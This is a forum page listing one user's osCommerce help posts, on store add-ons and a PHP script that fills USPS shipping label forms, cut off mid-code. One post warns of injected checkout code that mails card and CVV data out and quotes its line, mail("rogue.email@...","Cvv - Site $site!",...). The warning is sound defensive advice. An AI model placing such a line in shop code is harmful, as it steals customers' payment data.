Jump to content
Latest News: (loading..)

tonymazz

Members
  • Content count

    65
  • Joined

  • Last visited

Everything posted by tonymazz

  1. If you want it to show in subcategories, either specify the cat id or use enter ALL. When adding or updating extra fields, put the desired categories id in the Category field, followed by a COMMA. The trailing COMMA is important, you need to add it after each category id even if you only write one category! If you want to have a field that will be used for all products, write "all" and nothing else. If you have subcate- gories, you can also put parent categories id here, the field will show up in all subcategories as well.
  2. tonymazz

    The Feedmachine Solution

    On your first issue, try this, 'price' => array('output' => 'FINAL_PRICE_WITHOUT_TAX', 'type' => 'KEYWORD' I did and I now get the exact price including special if applicable.
  3. tonymazz

    The Feedmachine Solution

    Hi! I too need assistance with Shopzilla's field limits. Your efforts are appreciated.
  4. tonymazz

    The Feedmachine Solution

    Hi! Thanks for the contribution. Seems to be working fine until I disable a category using the contribution DISABLE/ENABLE CATEGORIES at http://addons.oscommerce.com/info/6462 . Have you run into this and is there a way for me to ignore the categories I have disabled.? Thanks in advance for all of your efforts. BR, Tony...
  5. tonymazz

    SiteMonitor

    I am on the same server with different accounts. One account is fine, the Site Monitor works great, as well does the Hacker Code portion. However when i try the same thing in the other account which has all data directories linked. The osCommerce files are not linked and are what I want to monitor with this contribution like I do on the main account. I was hoping to do this with all of my stores. They all link back (just like public_html & www) to the main account files. In each instance the osCommerce files are unique & not linked. My problem is on each of those linked directories I get the error codes as follows: Warning: is_dir() [function.is-dir.html]: Stat failed for /home/cat/public_html/mannix (errno=13 - Permission denied) in /home/insp01/public_html/admin/includes/functions/sitemonitor_functions.php on line 173 Warning: is_dir() [function.is-dir.html]: Stat failed for /home/cat/public_html/mannix (errno=13 - Permission denied) in /home/insp01/public_html/admin/includes/functions/sitemonitor_functions.php on line 256 Warning: is_dir() [function.is-dir.html]: Stat failed for /home/cat/public_html/mannix (errno=13 - Permission denied) in /home/insp01/public_html/admin/includes/functions/sitemonitor_functions.php on line 173 And then it craps out. It does not seem to want to ignore the linked directories. Thanks
  6. tonymazz

    SiteMonitor

    Hi again; I found this code to exclude a file, would this work on directories, as well? I have tried a couple variations with no luck. Here is the error I am getting for each directory that is linked: Warning: is_dir() [function.is-dir.html]: Stat failed for /home/XXXSSS/public_html/mannix (errno=13 - Permission denied) in /home/XXXSSS/public_html/admin/includes/functions/sitemonitor_functions.php on line 173 Thanks again...
  7. tonymazz

    SiteMonitor

    Hi Jack; along the lines of the directories to be ignored. I have one site that is mostly symbolic links. Is there a way to ignore them? Thanks for your efforts on this contribution.
  8. tonymazz

    SiteMonitor

    Hi! Thanks for a great contribution. Need a little help. I have this working great on my base shop, but when I try ti use it on a different shop that utilizes a great deal of 'symbolic links', I get a string of errors for each linked directory. Like this: Warning: is_dir() [function.is-dir.html]: Stat failed for /home/catalog/public_html/manuals/manuals (errno=13 - Permission denied) in /home/catalog/public_html/admin/includes/functions/sitemonitor_functions.php on line 174 I tried excluding the linked directories without success. Has anyone come across a 'work-around' for this? Thanks again!
  9. tonymazz

    Authorize.net is down

    Not sure if this is related to the Authorize.net outage. When I was alerted that the credit card transactions were not processing, I started looking into the pages that were hanging up. Inspect these files: checkout_payment.php, checkout_confirmation.php, checkout_process.php . Verify that there is no added scripts which will email the CC info to a rogue address. I found this on 2 sites I maintain so far. Both using heavily modded versions of OsCommerce 2.2. Be sure to remove this code. The line of code that instructs it to mail the vital info is something like this: mail("rogue.email@public_email.com","Cvv - Site $site!",$message123,$headers123)
  10. tonymazz

    OSC-Affiliate

    Hi! Thanks for the reply & PM pizza. I tried your suggestions with no differences. I did finally get the images to work, however I had to create a new directory for my images and place a copy of each of my images in to it. Basically when I debugged it I found that the show banner is not placing the / between the 2 directories. For example /catalog/images - becomes catalogimages. So by creating a new image folder named catalogimages the problem is solved for now. Does anyone know how to correct this without changing the main configure file. When I change the main configure file none of the images work on the site at all. Thanks again, Tony...
  11. tonymazz

    OSC-Affiliate

    Have you found a solution to the images not showing up yet? I too am having that issue. Any help is appreciated
  12. Anyone figure the solution out for this, as I too am having the same issue...
  13. tonymazz

    USPS Labels not working

    Thanks for your efforts on this. I have been away & have not had any time to work on this. In reading on one of your prior posts regarding Contribution. My recommendation is this: If you just are making changes to the existing scripts & the overall functionality remains the same = Revision (take it up to the next whole integar to show it is a major revision vs a small revision typically would be a decimal place) When you release the International portion and after being tested by the community, you should then make it a new contribution since (especially since some folks won't be using the International). That's my 2 cents. But most importantly to say thanks for your time & efferts. T...
  14. tonymazz

    USPS Labels not working

    Do you have a value in the tare weight setting? Its in Admin>Configuration>Shipping/Packaging
  15. Follow this thread for the latest updates & mods http://forums.oscommerce.com/index.php?showtopic=168620
  16. tonymazz

    USPS Labels not working

    I made that fix last week so I cannot remember 100%. Try changing the lower case c in Zipcode to an uppercase C like ZipCode. I believe that was the change that fixed that.
  17. tonymazz

    USPS Labels not working

    See the example below and substitute your "return address" info that you would like in your label. //********************************************************************** //CONFIGURATION AREA DEFINE('COMPANY', 'ABC COMPANY'); //Your Company name define('STREET', '1234 Anywhere Blvd'); //Your Street Address define('STREET2', 'Suite 100'); //Your Apartment Number (if Aplicable) define('CITY', 'Wherarewe'); //Your City define('URBANIZATION', ''); //Puerto Rico Only! define('STATE', 'MD'); //Your State (Abreviation) define('ZIP', '12345-6789'); //Your Zip Code //END CONFIGURATION //********************************************************************** That should do it for you...
  18. tonymazz

    USPS Labels not working

    Are you certain you are using the new file? Did you rename it & replace the original. It sounds like you are still using the old file. Try it again to be certaim. The location of the most recent file is here: http://www.testproducts.com/tmp/differentshipping.phps2 Have a good one all! :thumbsup:
  19. tonymazz

    USPS Labels not working

    Here's the most recent file I have been working on so far. The following changes were made so far: 1. Changed URL's to match Postal Service Changes that were just made. 2. Added reference number as the Order Number 3. Changed "Shipped from Zip Code" to set as default. 4. Cleaned up some un-needed code 5. added COMPANY in define don't forget to change the variables (lines 34 thru 40) It can be downloaded from here (after downloading change the name from .phps2 to .php) http://www.testproducts.com/tmp/differentshipping.phps2 I noticed that the refernce number does not seem to show up any where that I can tell?? Using this mod will get you to a message that says"We are unable to find any available service options for this label, please review your label and try again." If you scroll down & hit CONTINUE it will take you to the "SERVICE OPTION" page. I tried to work around this, but have to quit for now. If anyone else would like to pick it up from here, please do go for it. Hope this helps, Tony...
  20. tonymazz

    USPS Labels not working

    I am in the middle of fixing it. So far I have this change & it has began to work properly with a few exceptions. Change action to this: <form name="labelInformationForm" action="https://sss-web.usps.com/cns/labelInformation.do?deliveryCountry=1" method="post"> I think there a few other changes that have to be made, but this is the main one so far.
  21. tonymazz

    USPS Labels not working

    The install instructions are in one of the previous versions. All I posted was the file diffrent.php which was modded to work with USPS' current site. As to where to upload: put it in your catalog/admin folder.
  22. tonymazz

    USPS Labels not working

    I see it was truncated. I posted the new file (diffrentshipping.php) at: http://www.oscommerce.com/community/contributions,1498 - Hope that helps.
  23. tonymazz

    USPS Labels not working

    Yes. Here's the file that works with US as default and sends email confirmation as well. [/code] <?php /* $Id: diffrentshipping.php,v 2.0 2006/02/04 04:21:26 chris moralesExp $ DEVLOPED BY CHRIS MORALES www.goldencrown.biz EDITED BY Tom Wojcik www.xpertcomp.com EDITED BY BILLY BRENNER, www.ecommercedesigns.biz EDITED BY Tony Mazz www.TestProducts.com osCommerce, Open Source E-Commerce Solutions http://www.oscommerce.com Copyright © 2002 osCommerce Released under the GNU General Public License */ /* CONFIGURATION NOTE if your address contains a quotation mark like ' then before it include a "\" so "O'Sullivan St" Would be entered as O\'Sullivan St) Also, Do not include Periods on abbreviations. Type "St" not "St." They are not needed, and the USPS website probably doesnt accept them. END CONFIGURATION NOTE */ //********************************************************************** //CONFIGURATION AREA define('STREET', ''); //Your Street Address define('STREET2', ''); //Your Apartment Number (if Aplicable) define('CITY', ''); //Your City define('URBANIZATION', ''); //Puerto Rico Only! define('STATE', ''); //Your State (Abreviation) define('ZIP', ''); //Your Zip Code //END CONFIGURATION //********************************************************************** require('includes/application_top.php'); //commented following 2 lines out since I don't think they are needed - BAC // require(DIR_WS_CLASSES . 'currencies.php'); // $currencies = new currencies(); $oID = tep_db_prepare_input($HTTP_GET_VARS['oID']); // not needed? $orders_query = tep_db_query("select orders_id from " . TABLE_ORDERS . " where orders_id = '" . tep_db_input($oID) . "'"); include(DIR_WS_CLASSES . 'order.php'); $order = new order($oID); $zone_query = tep_db_query("select zone_code from " . TABLE_ZONES . " where zone_name = '" . $order->delivery['state'] . "'"); $return_zone = tep_db_fetch_array($zone_query); ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML lang="en"> <HEAD> <link rel="stylesheet" href="includes/usps.css" type="text/css"> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"> <TITLE>USPS - Label Information</TITLE> <META name="title" content="USPS - Label Information"> <META name='author' content=''> <META name='description' content='Create A Shipping Label'> <META name='expiration date' content='01/01/2011'> <META name='keywords' content='Click-N-Ship, Shipping Labels, Print Shipping Labels, Online Labels, PC Postage, Express Mail, Priority Mail, The United States Postal Service'> <META name='robots' content='index,follow'> <script SRC="<?php echo DIR_WS_ADMIN ?>images/jscript/logonSessionMaintenance.js"></script> <script SRC="<?php echo DIR_WS_ADMIN ?>images/jscript/testDropDown.js"></script> <script SRC="<?php echo DIR_WS_ADMIN ?>images/jscript/testField.js"></script> <script SRC="<?php echo DIR_WS_ADMIN ?>images/jscript/testRadioButton.js"></script> <script language="JavaScript"> var formAlreadySubmitted = false; </script> <script language="JavaScript"> function setCursor (field) { field.focus(); } function clearAddress (addrType) { theForm = document.forms[0]; if (addrType == "return") { theForm.returnFullName.value = ""; theForm.returnCompanyName.value = ""; theForm.returnAddressOne.value = ""; theForm.returnAddressTwo.value = ""; theForm.returnCity.value = ""; theForm.returnState.value = ""; theForm.returnState.selectedIndex = 0; theForm.returnZipcode.value = ""; } else if (addrType == "return_here") { theForm.returnFullName.value = "<?php echo nl2br(STORE_NAME); ?>"; theForm.returnCompanyName.value = ""; theForm.returnAddressOne.value = "<?php echo STREET; ?>"; theForm.returnAddressTwo.value = "<?php echo STREET2; ?>"; theForm.returnCity.value = "<?php echo CITY; ?>"; theForm.returnState.value = "<?php echo STATE; ?>"; theForm.returnZipcode.value = "<?php echo ZIP; ?>"; } else if (addrType == "return_cust_return") { theForm.returnFullName.value = "<?php echo $order->delivery['name'];?>"; theForm.returnCompanyName.value = "<?php echo $order->delivery['company'];?>"; theForm.returnAddressOne.value = "<?php echo $order->delivery['street_address'];?>"; theForm.returnAddressTwo.value = "<?php echo $order->delivery['suburb'];?>"; theForm.returnCity.value = "<?php echo $order->delivery['city'];?>"; theForm.returnState.value = "<?php echo $return_zone['zone_code'] ;?>"; theForm.returnZipcode.value = "<?php echo $order->delivery['postcode'];?>"; } else if (addrType == "delivery") { theForm.deliveryFullName.value = ""; theForm.deliveryCompanyName.value = ""; theForm.deliveryAddressOne.value = ""; theForm.deliveryAddressTwo.value = ""; theForm.deliveryCity.value = ""; theForm.deliveryState.value = ""; theForm.deliveryZipcode.value = ""; theForm.deliveryEmail.value = ""; } else if (addrType == "delivery_here") { theForm.deliveryFullName.value = "<?php echo nl2br(STORE_NAME); ?>"; theForm.deliveryCompanyName.value = ""; theForm.deliveryAddressOne.value = "<?php echo STREET; ?>"; theForm.deliveryAddressTwo.value = "<?php echo STREET2; ?>"; theForm.deliveryCity.value = "<?php echo CITY; ?>"; theForm.deliveryState.value = "<?php echo STATE; ?>"; theForm.deliveryZipcode.value = "<?php echo ZIP; ?>"; } else if (addrType == "delivery_cust_return") { theForm.deliveryFullName.value = "<?php echo $order->delivery['name'];?>"; theForm.deliveryCompanyName.value = "<?php echo $order->delivery['company'];?>"; theForm.deliveryAddressOne.value = "<?php echo $order->delivery['street_address'];?>"; theForm.deliveryAddressTwo.value = "<?php echo $order->delivery['suburb'];?>"; theForm.deliveryCity.value = "<?php echo $order->delivery['city'];?>"; theForm.deliveryState.value = "<?php echo $return_zone['zone_code'] ;?>"; theForm.deliveryZipcode.value = "<?php echo $order->delivery['postcode'];?>"; } } function checkAPOFPOAddress (theField) { found = false; if (theField.name.indexOf("zipcode") != -1) { pattern1 = /09([0-8])/; pattern2 = /96([2-6])/; zip = theField.value.trim().substring(0, 3); if (zip.match(pattern1) || zip.match(pattern2) || zip == "340") found = true; } else if (theField.name.indexOf("city") != -1) { city = theField.value.trim().toUpperCase(); if (city == "APO" || city == "FPO") found = true; } if (found) { alert("Sorry, online shipping labels cannot be used for APO/FPO addresses. We apologize for any inconvenience."); theField.focus(); } } function checkShippingFromZIP() { aForm = document.forms[0]; // if the "other" box is not empty, make sure that the Other radio is selected if (fieldNotBlank(aForm.other_zipcode, true)) { if (getRadioValue(aForm.ship_from_zipcode) != "new") { if (confirm("Would you like to have the delivery time and postage calculated based\ron the ZIP Code you entered in the \"Other\" box?")) aForm.ship_from_zipcode[1].checked = true; else return false; } } } </script> </head> <!-- USPS HEADER --> <body topmargin="0" leftmargin="0" marginheight="0" marginwidth="0" link="#003399" alink="#CC0000" vlink="#999999" bgcolor="#FFFFFF" onLoad="c_MaintainSessionLightEcap(); startCountDown('https://sss-web.usps.com/ds/jsps/lf_logoff.jsp?nextURL=/ds/jsps/timedOut.jsp');checkJavaPlugin()" onUnload=""> <script SRC="<?php echo DIR_WS_ADMIN ?>images/jscript/windows.js"></script> <span style="display:none">Your sign in session will expire after 15 minutes of server inactivity. In order to maintain your data stored in this session, you will need to navigate to another page in this application within that timeframe.</span> <form name="labelInformationForm" action="https://sss-web.usps.com/cns/saveLabelInformation.do?deliveryCountry=1" method="post"> <table align="center" border="0" cellpadding="0" cellspacing="0" summary="This table is used to format the header of the page."> <tr> <td colspan="4"><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" width="7" height="7" alt="" border="0"></td> </tr> <tr> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" alt="" width="8" height="1" border="0"></td> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/hdr_uspsLogo.jpg" width="157" border="0" height="25" alt="USPS Homepage"></a><a href="#content"><img alt="Skip Navigation" border="0" height="1" src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" width="1"></a></td> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" width="200" height="30" alt="" border="0"></td> <td valign="bottom" align="right" class="utilitybar"><a href="http://www.usps.com" class="utilitybar">Home</a> | <a href="https://ecap21.usps.com/cgi-bin/ecapbv/scripts/login.jsp?app=GSS&appURL=https://sss-web.usps.com/cns/enterLabelInfo.do">Sign In</a> </tr> </table> <table align="center" border="0" cellpadding="0" cellspacing="0" summary="This table is used to format page content."> <tr> <td valign="top"></td> <td valign="top" align="left"> <input type="hidden" name="shortName" value=""> <input type="hidden" name="action" value=""> <input type="hidden" name="navigation" value=""> <input type="hidden" name="submitType" value=""> <input type="hidden" name="currentpage" value="EnterLabelInfo.do"> <input type="hidden" name="nav_type" value=""> <input type="hidden" name="source" value=""> <input type="hidden" name="unique" value="1081710538409"> <input type='hidden' name='return_short_name' value=''> <input type='hidden' name='delivery_short_name' value=''> <!--<input type='hidden' name='address_cleared' value=''>--> <OBJECT id="myApplet" classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93" WIDTH = 1 HEIGHT = 1 > <PARAM NAME=ARCHIVE VALUE="DetectPluginApplet.jar"> <PARAM NAME=CODEBASE VALUE="../../" > <PARAM NAME=CODE VALUE="com.ibm.lex.services.DetectPluginApplet.class" > <PARAM NAME="scriptable" VALUE="true" > </object> <a name="content"></a> <table border="0" cellpadding="0" cellspacing="0" summary="This table is used to display the top navigation."> <tr> <td colspan="2" valign="top"> <table border="0" cellpadding="0" cellspacing="0" summary="This table is used to format page content."> <tr> <td bgcolor="#FFFFFF"><img height="2" width="2" border="0" alt="" src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif"></td> <td valign="top"> <table summary="This table formats the form information." border="0" cellspacing="0" cellpadding="0"> <tr> <td height="1"><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> <td valign="top"> <!-- start of the return address block --> <table cellpadding="0" cellspacing="0" border="0" summary="This table is used to format delivery address data."> <tr> <td colspan="2" height="32" valign="top"><img src='<?php echo DIR_WS_ADMIN ?>images/uspsimages/sub_enterreturn_address.gif' width='119' height='21' border='0' alt='Enter Return Address'><br><a href="java script:clearAddress('return');" tabindex="2"><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/button_clear.gif" border="0" width="45" height="17" alt="Clear Return Address"></a> <a href="java script:clearAddress('return_here');" tabindex="2">Here</a> <a href="java script:clearAddress('return_cust_return');" tabindex="2">Return Address</a></td> </tr> <tr> <td colspan="2"> <table border="0" cellspacing="0" cellpadding="0" summary="This table is used to format the Delivery Address information."> <tr> <td> <table border="0" cellspacing="0" cellpadding="0" summary="This table is used to format the Delivery Address information."> <tr> <td align="right" class="mainText"><span class="mainTextRed">* </span><span class=label >Full Name</span></td> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> <td><input type="text" name="returnFullName" id="returnFullName" style="width:160px" size="19" tabindex="4" value='<?php echo nl2br(STORE_NAME); ?>' maxlength="38"> <div style="display:none"><label for="return_full_name">* Full Name</label></div> </td> </tr> <tr> <td align="right" class="mainText"><span class=label >Company Name</span></td> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> <td><input type="text" name="returnCompanyName" id="returnCompanyName" style="width:160px" size="19" tabindex="5" value='' maxlength="38"> <div style="display:none"><label for="return_company_name">Company Name</label></div> </td> </tr> <tr> <td align="right" class="mainText"><span class="mainTextRed">* </span><span class=label >Address 1</span></td> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> <td><input type="text" name="returnAddressOne" id="returnAddressOne" style="width:160px" size="19" tabindex="6" value='<?php echo STREET; ?>' maxlength="38"> <div style="display:none"><label for="return_address_one">* Address 1</label></div> </td> </tr> <tr> <td align="right" class="mainText"><span class=label >Address 2</span></td> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> <td><input type="text" name="returnAddressTwo" id="returnAddressTwo" style="width:160px" size="19" tabindex="7" value='<?php echo STREET2; ?>' maxlength="38"> <div style="display:none"><label for="return_address_two">Address 2 (Apt, floor, suite, PMB, etc)</label></div> </td> </tr> <tr> <td align="right" class="mainText"><span class="mainTextRed">* </span><span class=label >City</span></td> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> <td><input type="text" name="returnCity" id="returnCity" style="width:160px" size="19" tabindex="9" value='<?php echo CITY; ?>' maxlength="38"> <div style="display:none"><label for="return_city">* City</label></div> </td> </tr> <tr> <td align="right" class="mainText"><span class="mainTextRed">* </span><span class=label >State</span></td> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> <td><input type="text" name="returnState" id="returnState" style="width:160px" size="19" tabindex="9" value='<?php echo STATE; ?>'maxlength="38"> <div style="display:none"><label for="return_state">* State</label></div> </td> </tr> <tr> <td align="right" class="mainText"><span class="mainTextRed">* </span><span class=label >ZIP Code?</span></td> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> <td><input type="text" name="returnZipcode" id="returnZipcode" style="width:160px" size="19" tabindex="11" value='<?php echo ZIP; ?>' maxlength="10"> <div style="display:none"><label for="return_zipcode">* ZIP Code?</label></div> </td> </tr> </table> </td> <!-- end of text boxes column --> </tr> </table> </td> </tr> </table><!-- end of the Return Address section --> </td> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="10" height="1" alt=""></td> <td valign="top"><!-- begin of Delivery Address section --> <table cellpadding="0" cellspacing="0" border="0" summary="This table is used to format delivery address data."> <tr> <td colspan="2" height="32" valign="top"><img src='<?php echo DIR_WS_ADMIN ?>images/uspsimages/sub_enterdelivery_address.gif' width='129' height='23' border='0' alt='Enter Delivery Address'><br><a href="java script:clearAddress('delivery');" tabindex="12"><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/button_clear.gif" border="0" width="45" height="17" alt="Clear Delivery Address"></a> <a href="java script:clearAddress('delivery_here');" tabindex="2">Here</a> <a href="java script:clearAddress('delivery_cust_return');" tabindex="2">Return Address</a></td> </tr> <tr> <td colspan="2"> <table border="0" cellspacing="0" cellpadding="0" summary="This table is used to format the Delivery Address information."> <tr> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> <td> <table border="0" cellspacing="0" cellpadding="0" summary="This table is used to format the Delivery Address information."> <tr> <td align="right" class="mainText"><span class="mainTextRed">* </span><span class=label >Full Name</span></td> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> <td><input type="text" name="deliveryFullName" id="deliveryFullName" style="width:160px" size="19" tabindex="14" value='<?php echo $order->delivery['name'];?>' maxlength="38"> <div style="display:none"><label for="delivery_full_name">* Full Name</label></div> </td> </tr> <tr> <td align="right" class="mainText"><span class=label >Company Name</span></td> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> <td><input type="text" name="deliveryCompanyName" id="deliveryCompanyName" style="width:160px" size="19" tabindex="15" value='<?php echo $order->delivery['company'];?>' maxlength="38"> <div style="display:none"><label for="delivery_company_name">Company Name</label></div> </td> </tr> <tr> <td align="right" class="mainText"><span class="mainTextRed">* </span><span class=label >Address 1</span></td> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> <td><input type="text" name="deliveryAddressOne" id="deliveryAddressOne" style="width:160px" size="19" tabindex="16" value='<?php echo $order->delivery['street_address'];?>' maxlength="38"> <div style="display:none"><label for="delivery_address_one">* Address 1</label></div> </td> </tr> <tr> <td align="right" class="mainText"><span class=label >Address 2</span></td> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> <td><input type="text" name="deliveryAddressTwo" id="deliveryAddressTwo" style="width:160px" size="19" tabindex="17" value='<?php echo $order->delivery['suburb'];?>' maxlength="38"> <div style="display:none"><label for="delivery_address_two">Address 2 (Apt, floor, suite, PMB, etc)</label></div> </td> </tr> <tr> <td align="right" class="mainText"><span class="mainTextRed">* </span><span class=label >City</span></td> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> <td><input type="text" name="deliveryCity" id="deliveryCity" style="width:160px" size="19" tabindex="19" value='<?php echo $order->delivery['city'];?>' maxlength="38"> <div style="display:none"><label for="delivery_city">* City</label></div> </td> </tr> <tr> <td align="right" class="mainText"><span class="mainTextRed">* </span><span class=label >State</span></td> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> <td><input type="text" name="deliveryState" id="deliveryState" style="width:160px" size="19" tabindex="19" value='<?php switch(strtoupper($order->delivery['state'])): case 'ALABAMA': print "AL"; break; case 'ALASKA': print "AK"; break; case 'ARIZONA': print "AZ"; break; case 'ARKANSAS': print "AR"; break; case 'CALIFORNIA': print "CA"; break; case 'COLORADO': print "CO"; break; case 'CONNECTICUT': print "CT"; break; case 'DELAWARE': print "DE"; break; case 'DISTRICT OF COLUMBIA': print "DC"; break; case 'FLORIDA': print "FL"; break; case 'GEORGIA': print "GA"; break; case 'HAWAII': print "HI"; break; case 'IDAHO': print "ID"; break; case 'ILLINOIS': print "IL"; break; case 'INDIANA': print "IN"; break; case 'IOWA': print "IA"; break; case 'KANSAS': print "KS"; break; case 'KENTUCKY': print "KY"; break; case 'LOUISIANA': print "LA"; break; case 'MAINE': print "ME"; break; case 'MARYLAND': print "MD"; break; case 'MASSACHUSETTS': print "MA"; break; case 'MICHIGAN': print "MI"; break; case 'MINNESOTA': print "MN"; break; case 'MISSISSIPPI': print "MS"; break; case 'MISSOURI': print "MO"; break; case 'MONTANA': print "MT"; break; case 'NEBRASKA': print "NE"; break; case 'NEVADA': print "NV"; break; case 'NEW HAMPSHIRE': print "NH"; break; case 'NEW JERSEY': print "NJ"; break; case 'NEW MEXICO': print "NM"; break; case 'NEW YORK': print "NY"; break; case 'NORTH CAROLINA': print "NC"; break; case 'NORTH DAKOTA': print "ND"; break; case 'OHIO': print "OH"; break; case 'OKLAHOMA': print "OK"; break; case 'OREGON': print "OR"; break; case 'PENNSYLVANIA': print "PA"; break; case 'PUERTO RICO': print "PR"; break; case 'RHODE ISLAND': print "RI"; break; case 'SOUTH CAROLINA': print "SC"; break; case 'SOUTH DAKOTA': print "SD"; break; case 'TENNESSEE': print "TN"; break; case 'TEXAS': print "TX"; break; case 'UTAH': print "UT"; break; case 'VERMONT': print "VT"; break; case 'VIRGIN ISLANDS': print "VI"; break; case 'VIRGINIA': print "VA"; break; case 'WASHINGTON': print "WA"; break; case 'WEST VIRGINIA': print "WV"; break; case 'WISCONSIN': print "WI"; break; case 'WYOMING': print "WY"; break; endswitch;?>' maxlength="38"> <div style="display:none"><label for="delivery_state">* State</label></div> </td> </tr> <tr> <td align="right" class="mainText"><span class=label >ZIP Code?</span></td> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> <td><input type="text" name="deliveryZipcode" id="deliveryZipcode" style="width:160px" size="19" tabindex="21" value='<?php echo $order->delivery['postcode'];?>' maxlength="10"> <div style="display:none"><label for="delivery_zipcode">ZIP Code? Address will be standardized as necessary.</label></div> </td> <tr> <td align="right" class="mainText"><span class=label >email</span></td> <td width="7"><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> <td> <table border="0" cellpadding="0" width="160" cellspacing="0" summary="This table is used to format page content."> <tr> <td width="1" bgcolor="#CCCCCC"><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" width="1" height="1" border="0" alt=""></td> <td width="27" bgcolor="#CCCCCC"><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" width="1" height="1" border="0" alt=""></td> <td width="131" bgcolor="#CCCCCC"><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" width="1" height="1" border="0" alt=""></td> <td width="1" bgcolor="#CCCCCC"><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" width="1" height="1" border="0" alt=""></td> </tr> <tr> <td width="1" bgcolor="#CCCCCC"><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" width="1" height="1" border="0" alt=""></td> <td width="27" valign="top"><input tabindex="24" id="emailNotification" name="emailNotification" type="Checkbox" value="Y" CHECKED > <div style="display:none"><label for="emailNotification"><span class="smmainText">Notify recipient of shipping, via email notification</span></label></div></td> <td width="131" class="smmainText" align="left" valign="middle"><span class="label"> Notify shipping via email</span></a>.</span></td> <td width="1" bgcolor="#CCCCCC"><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" width="1" height="1" border="0" alt=""></td> </tr> <tr> <td width="1" bgcolor="#CCCCCC"><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" width="1" height="1" border="0" alt=""></td> <td width="27" bgcolor="#CCCCCC"><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" width="1" height="1" border="0" alt=""></td> <td width="131" bgcolor="#CCCCCC"><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" width="1" height="1" border="0" alt=""></td> <td width="1" bgcolor="#CCCCCC"><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" width="1" height="1" border="0" alt=""></td> </tr> </table> </td> <td><input type="text" name="deliveryEmail" id="deliveryEmail" style="width:160px" size="19" tabindex="19" value='<?php echo $order->customer['email_address'];?>' maxlength="55"> <div style="display:none"><label for="deliveryEmail">email</label></div> </td> </tr> </table> </td> <!-- end of text boxes column --> </tr> </table> </td> </tr> </table> </td> </tr> </table> <table summary="This table formats the form information." border="0" cellspacing="0" cellpadding="0"> <tr> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> <td height="32" colspan="5" valign="top"><img src='<?php echo DIR_WS_ADMIN ?>images/uspsimages/sub_enterpackage_info.gif' width='150' height='23' alt='Enter Package Information' border='0'></td> </tr> <tr> <td valign="top" class="mainText"><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> <td colspan="4"> <!-- start of weight formula--> <?php $shipping_weight_ot = substr($order->totals[1]['title'],strpos($order->totals[1]['title'],'x') + 1, (strpos($order->totals[1]['title'],'lbs') - strpos($order->totals[1]['title'],'x'))-1 ); $shipping_weight = ($shipping_weight_ot < 0.1 ? 0.1 : $shipping_weight_ot); $shipping_pounds = floor ($shipping_weight); $shipping_ounces = round(16 * ($shipping_weight - floor($shipping_weight))); ?> <!--end of weight formula--> <table cellspacing="0" cellpadding="0" border="0" summary="This table is used to format content."> <tr> <td align="right" class="mainText"><span class="mainTextRed">* </span><span class=mainTextBoldRed >Weight</span></td> <td><img src="<?php echo 